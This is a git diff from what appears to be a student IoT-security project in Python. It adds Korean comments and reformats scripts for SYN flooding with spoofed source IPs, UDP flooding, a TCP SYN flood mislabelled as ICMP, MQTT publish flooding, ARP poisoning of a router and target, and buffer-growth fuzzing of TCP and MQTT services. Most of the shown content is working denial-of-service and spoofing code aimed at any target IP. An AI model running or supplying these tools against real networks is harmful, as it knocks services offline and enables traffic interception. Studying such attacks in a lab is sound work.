면담확인서 추가 및 코드 수정

 from scapy.all import IP, TCP, send, RandShort
 
 def icmp_flood(targetIP, targetPORT):
-    packet = IP(dst=targetIP) / TCP(
-        dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()
-    )
-
-    for i in range(4):
+    packet = IP(dst=targetIP)/TCP(dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort())
+    # 출발지 포트는 random 
+    for _ in range(4):
         try:
             send(packet, verbose=False)
         except Exception as e:
             print(f"Error while sending 'ICMP'\n{e}")
         else:
             print(f"ICMP packet send to {targetIP}")
+
+

@@ -13,9 +13,13 @@ def mqtt_publish_flood(mqtt_server_IP, mqtt_server_PORT, topic):
     client.connect(mqtt_server_IP, mqtt_server_PORT)
     client.loop_start()
     
-    for i in range(10000):
+    for _ in range(10000):
+        # 무작위 메세지 생성
         message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50))
-        client.publish(topic, message, retain=True)
+        client.publish(topic, message, retain=True) # 발행
         print(f"Sent message {message}")
     client.loop_stop()
     client.disconnect()
+
+
+

 import random
 from scapy.all import IP, TCP, send
 
+# 무작위 IP 생성
 def random_IP():
     ip = []
     for _ in range(0, 4):
@@ -9,10 +10,10 @@ def random_IP():
 
 def syn_flood(targetIP, targetPORT):
     IP_Packet = IP()
-    IP_Packet.src = random_IP()
+    IP_Packet.src = random_IP() # IP Spoofing
     IP_Packet.dst = targetIP
 
-    TCP_Packet = TCP()
+    TCP_Packet = TCP() # SYN은 TCP 헤더의 플래그 비트이므로
     TCP_Packet.sport = random.randint(1000, 10000)
     TCP_Packet.dport = targetPORT
     TCP_Packet.flags = "S"
@@ -26,3 +27,19 @@ def syn_flood(targetIP, targetPORT):
             print(f"Error while sending SYN packet\n{e}")
         else:
             print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.")
+
+
+"""
+
+flags = {
+       'F': 'FIN',
+       'S': 'SYN',
+       'R': 'RST',
+       'P': 'PSH',
+       'A': 'ACK',
+       'U': 'URG',
+       'E': 'ECE',
+       'C': 'CWR',
+}
+
+"""
\ No newline at end of file

@@ -12,3 +12,5 @@ def udp_flood(targetIP, targetPORT):
             print(f"Error while sending UDP packet\n{e}")
         else:
             print(f"UDP random packet sent! Payload size: {len(payload)}. ")
+
+

@@ -4,15 +4,18 @@ import sys
 import signal
 
 def originalMAC(ip):
+    # ARP Ping method
     ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
-    for s,r in ans:
+    # answer, unanswered
+
+    for s,r in ans: #sent, received
         return r[Ether].src
 
-def poison(routerIP, targetIP, routerMAC, targetMAC):
+def poison(routerIP, targetIP, routerMAC, targetMAC): # APR를 spoof
     send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
     send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))
 
-def restore(routerIP, targetIP, routerMAC, targetMAC):
+def restore(routerIP, targetIP, routerMAC, targetMAC): #다시 정상패킷 보내서 되돌리기
     send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
     send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
 
@@ -31,3 +34,5 @@ def arp_spoofing(routerIP, targetIP):
     
     while 1:
         poison(routerIP, targetIP, routerMAC, targetMAC)
+
+

@@ -13,7 +13,7 @@ def fuzzy_attack(method, targetIP, targetPORT):
         sock.close()
 
     elif method == "tcp":
-        sock = socket.socket()
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         sock.connect((targetIP, targetPORT))
         for x in range(4, 100000, 4):
             message = command + b"A" * x
@@ -21,4 +21,7 @@ def fuzzy_attack(method, targetIP, targetPORT):
             sock.sendall(message)
             resp = sock.recv(4096)
             print("Response Received:", resp)
-        sock.close()
\ No newline at end of file
+        sock.close()
+
+
+        
\ No newline at end of file

@@ -17,5 +17,8 @@ def mqtt_ramdom_payload_fuzzy(mqtt_server_IP, mqtt_server_PORT, topic):
         payload = "".join([chr(random.randint(1, 127)) for _ in range(i)])
         print(f"Sent Payload {len(payload)} bytes")
         client.publish(topic, payload)
+
     client.loop_stop()
     client.disconnect()
+
+

-from dos.icmp import *
-from dos.mqtt import *
-from dos.syn import *
-from dos.udp import *
+from DoS.icmp import *
+from DoS.mqtt import *
+from DoS.syn import *
+from DoS.udp import *
 from fuzzy_attack.fuzzy_attack import *
 from fuzzy_attack.mqtt_random_payload_fuzzy import *
-from spoofing.arp import *
+from Spoofing.arp import *
 
 def printDOSMenu():
     print("Choose Protocol")